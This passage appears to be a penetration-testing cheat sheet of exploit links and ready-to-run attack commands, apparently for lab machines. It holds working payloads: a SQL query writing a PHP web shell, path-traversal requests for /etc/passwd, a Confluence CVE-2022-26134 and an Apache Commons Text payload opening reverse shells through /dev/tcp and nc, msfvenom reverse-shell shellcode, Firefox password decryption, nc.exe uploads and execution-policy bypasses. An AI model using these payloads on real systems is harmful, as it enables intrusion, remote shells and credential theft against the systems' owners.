</HTML>"INTOOUTFILE'/var/www/html/wordpress/cmd.php'
Note: Check the right path and will work only on writable directory

IPERIUS BACKUP:
• https://www.exploit-db.com/exploits/46863

OPENSMTPD RUNNING AS ROOT?


• https://www.exploit-db.com/exploits/48051

FIREFOX DECRYPT:
• cd .mozilla/firefox/by2pyaht.default-esr
• copy login.json and key4.db to kali
• git clone https://github.com/unode/firefox_decrypt
• python3 firepwd.py -d mozilla
• We get ssh username and pass
EYESOFNETWORK:
• https://rioru.github.io/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html
APACHE 2.4.49:
Run Searchploit
• sudo nmap -sV -p 443 --script http-vuln-cve-2021-41773.nse 192.168.148.13
• curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

GRAFANA RCE:
• curl --path-as-is http://ip:3000/public/plugins/mysql/../../../../../../../../Users/install.txt

CMS MADE SIMPLE 2.2.5 (AUTH)


• https://www.exploit-db.com/exploits/44976
Note: Required Modifications Check 13.2.2, 13.2.3
#If we get SSL ERROR
response = requests.post(url, data=data, allow_redirects=False, verify=False)
...
response = requests.post(url, data=data, files=txt, cookies=cookies, verify=False)
...
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False, verify=False)
#If we get Index error when running exploit? Add print line below def parse_csrf_token
def parse_csrf_token(location):
print "[+] String that is being split: " + location

• Observe http://192.168.177.52/cmsms/admin?_sk_=292aa89bb8ff807f3b4 _sk_ parameter here in exploit error output.


• Modify as per need

ATLASSIAN CONFLUENCE
• CVE-2022-26134?
• curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%
22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%
3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/
#Configuration File
• /var/atlassian/application-data/confluence/confluence.cfg.xml
Note: The Hashcat mode number for Atlassian (PBKDF2-HMAC-SHA1) hashes2 is 12001
hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt

XFREERDP:
• xfreerdp /u:stephanie /d:corp.com /v:192.168.207.72 /size:1980x900
• /size:1980x900

GIT:
• Move to git directory
• git status
• git log
• git show

ENABLING RDP(FIREWALL RULE):


• Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
• Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

POWERSHELL EP BYPASS:
• powershell -ep bypass
• Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process

CREATE A SERVICE IN WINDOWS:


• C:\Windows\System32\sc.exe create Scheduler binPath= "C:\Scheduler\scheduler.exe"
• C:\Windows\System32\sc.exe delete Scheduler

BORG:
• sudo /usr/bin/borg list /opt/borgbackup
• sudo /usr/bin/borg extract /opt/borgbackup::home (look for borgbackup file and you can use list command to list archives and then
add ::archivename to view files in archives)
• sudo /usr/bin/borg extract --stdout /opt/borgbackup::home (to read files)

DOAS SUID:
• /etc/doas.conf
• /var/local/etc/doas.conf
• doas service apache24 onestart
• /usr/local/bin/doas -u root whoami
• /usr/local/bin/doas -u root /bin/sh

UMBRACO 7: (RCE)
• https://github.com/Jonoans/Umbraco-RCE

APACHE COMMON TEXT SSTI:


• $%7Bscript:javascript:java.lang.Runtime.getRuntime().exec('busybox+nc+192.168.45.166+4444+-e+/bin/sh')%7D

SHAREPOINT:
• /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt

CRACKMAPEXEC UPLOAD FILE:


• proxychains crackmapexec mssql 10.10.139.148 -u sql_svc -p Dolphin1 --put-file /usr/share/windows-resources/binaries/nc.exe 'C:
\users\public\documents\nc.exe'

VESTACP:
• https://ssd-disclosure.com/ssd-advisory-vestacp-lpe-vulnerabilities/
• https://ssd-disclosure.com/ssd-advisory-vestacp-multiple-vulnerabilities/

PDF:
• Got PDF Files? Check meta data and grep for Author to get Usernames

TAR WILDCARD INJECTION:


• https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

MOOSE-FS:
• mfsmount /mnt/folder -H 192.168.25.107 (in our kali /mnt folder)
• If there is .ssh?
• ssh-keygen > place .pub file as .ssh/authorized_keys
• find the user and login with ssh

CUPS 2.0.2 Exploit:


• https://www.exploit-db.com/exploits/41233

APACHE STRUTS RCE:


• https://github.com/ArunBhandarii/Apache-Struts-0Day-Exploit

BYPASS AV POTATO EXPLOIT:


• https://github.com/Genetic-Malware/Ebowla

PIC-A-POINT:
https://www.exploit-db.com/exploits/47427

FILE THINGIE 2.5.8:


• https://www.exploit-db.com/exploits/47349

FREEBSD 12.0?
• https://www.exploit-db.com/exploits/47081

MAIDAG SUDO PE:


• https://cxsecurity.com/issue/WLB-2019110141

FIREFOX CREDS DECRYPT:


• https://github.com/unode/firefox_decrypt
• python3 firepwd.py -d mozilla (mozilla is dir which has those files)

OPENSMTPD SERVICE RUNNING AS ROOT?


• https://www.exploit-db.com/exploits/48051

WONDERCMS:
• Look for exploit on google if rev shell didn’t work try port 8385

MAGIC SCRIPT CONIFGURED?


• Place any reverse shell with the name as in hint we'll get shell

POPPING TARGET SHELL IN OUR WINDOWS:


• Connect to VPN in windows.
• runas /netonly /user:active.htb\svc_tgs cmd

PFX FILE?
• pfx2john file > hash
• john file rockyou.txt
• openssl pkcs12 -in file.pfx -info (use the password here)
• openssl pkcs12 -in file.pfx -nocerts -out key.pem -nodes
• openssl pkcs12 -in file.pfx -nokeys -out key.cert
• evil-winrm -S -i ip -c key.cert -k key.pem

SluiFileHandlerHijackLPE:
• https://www.exploit-db.com/exploits/46998

jQuery-File-Upload 9.22.0 - Arbitrary File Upload CVE-2018-9206

• curl -F "[email protected]" http://10.11.1.123/books/apps/jquery-file-upload/server/php/index.php


• http://10.11.1.123/books/apps/jquery-file-upload/server/php/files/winreverse.php

UNREAL TOURNAMENT:
• Use this exploit https://www.exploit-db.com/exploits/16145/ and replace the shell code with the output of
• msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x36.31 LPORT=1111 EXITFUNC=thread -f perl -e x86/alpha_mixed

SSH ERROR:
• Edit /etc/ssh/ssh_config
• PubkeyAcceptedKeyTypes +ssh-dss
• KexAlgorithms diffie-hellman-group1-sha1,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-
nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1

COUCH DB
• https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

LibSSH 0.7.6 / 0.8.4 - Unauthorized Access


• https://www.exploit-db.com/exploits/46307

PROFTPD:
• https://www.exploit-db.com/exploits/36803

NAGIOS PRIVESC:
https://gist.github.com/xl7dev/322b0f85dc9f6a06573302c7de4f4249

EXIM 4.83-3
• Modify 39535.sh
• sed -i -e 's/\r$//' 39535.sh

PARAMIKO < 2.4.1:


• https://github.com/jm33-m0/CVE-2018-7750

You might also like